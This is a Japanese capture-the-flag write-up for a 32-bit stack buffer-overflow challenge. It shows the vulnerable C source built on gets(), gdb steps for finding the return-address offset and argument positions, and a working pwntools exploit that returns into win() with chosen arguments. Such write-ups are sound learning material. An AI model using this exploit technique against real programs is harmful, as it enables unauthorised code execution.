リターンアドレスの書き換えと,関数の引数を設定する縛り。
Control the return address and arguments
This time you'll need to control the arguments to the function you return to! Can you get the flag from this program?
問題
ソース
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
vuln()関数にBOFがあり,vuln()関数からmain()に戻るときの戻りアドレスをwin()関数のアドレスに書き換えるいつものパターン。
ただし,win()関数の引数を設定しなければならない縛りがある。
Aの数を求める
vuln()の戻りアドレス
gdb で pdisass main して vuln() の戻りアドレスを確認
0x080493d8 <+102>: call 0x8049338 <vuln>
0x080493dd <+107>: mov eax,0x0
0x080493dd だ。
BOF直後のスタックを確認
gdb で pdisass vuln して ブレイクポイントの設定場所を確認
0x08049355 <+29>: call 0x80490f0 <gets@plt>
0x0804935a <+34>: add esp,0x10
b *0x0804935a
r
c
AAA
とすすめる
Aの数を確認
Aの数は 4*28 個だ。
win関数のアドレス
gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x8049296 <win>
0x8049296
実験1
これだけわかったらソルバー書いて実験してみる
import pwn
#io = pwn.remote("saturn.picoctf.net", 55335)
io = pwn.process("./vuln")
ret = io.readuntil("Please enter your string: \n")
print(ret)
win_addr = 0x8049296
s = b"A" * 4 * 28
s += pwn.p32(win_addr)
print(s)
io.send(s)
io.interactive()
どうかな?
「flag.txtが無い」って怒られたのでok。
あとは,
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
の縛りをクリアするだけ。
win()関数の引数
関数プロローグが済んだ後は,第一引数は, ebp+0x8 になるはず!
gdb で vuln()関数の ret まで進め,gdbで戻りアドレスをwin()関数に書き換える
0x08049371 <+57>: ret
b *0x08049371
gdb-peda$ x/40gw $esp
0xffffd3ec: 0x080493dd 0x00000001 0xffffd4b4 0xffffd4bc
0xffffd3ecに書き換えたいvuln()の戻りアドレスがあるので書き換える
Breakpoint 1, 0x08049371 in vuln ()
gdb-peda$ x/40gw $esp
0xffffd3ec: 0x080493dd 0x00000001 0xffffd4b4 0xffffd4bc
gdb-peda$ set {int}0xffffd3ec=0x8049296
gdb-peda$ x/40gw $esp
0xffffd3ec: 0x08049296 0x00000001 0xffffd4b4 0xffffd4bc
si で進め,win()関数に入る。
引数のアドレス確認。
0x0804930c <+118>: cmp DWORD PTR [ebp+0x8],0xcafef00d
0x08049315 <+127>: cmp DWORD PTR [ebp+0xc],0xf00df00d
ビンゴ,想定通り
引数1は ebp+0x8
引数2は ebp+0xc
siで進めて,関数プロローグを終わらせる
ここで ebp を確認
引数1 ebp+0x8 は,スタックアドレス 0xffffd3f4
引数1 ebp+0xc は,スタックアドレス 0xffffd3f8
Aの数を確認した時のスタック
攻撃コード(最終形)
import pwn
io = pwn.remote("saturn.picoctf.net", 49754)
#io = pwn.process("./vuln")
ret = io.readuntil("Please enter your string: \n")
print(ret)
win_addr = 0x8049296
arg1 = 0xCAFEF00D
arg2 = 0xF00DF00D
s = b"A" * 4 * 28
s += pwn.p32(win_addr)
s += pwn.p32(0x00000001)
s += pwn.p32(arg1)
s += pwn.p32(arg2)
print(s)
io.send(s)
io.interactive()
どうかな?
刺さった!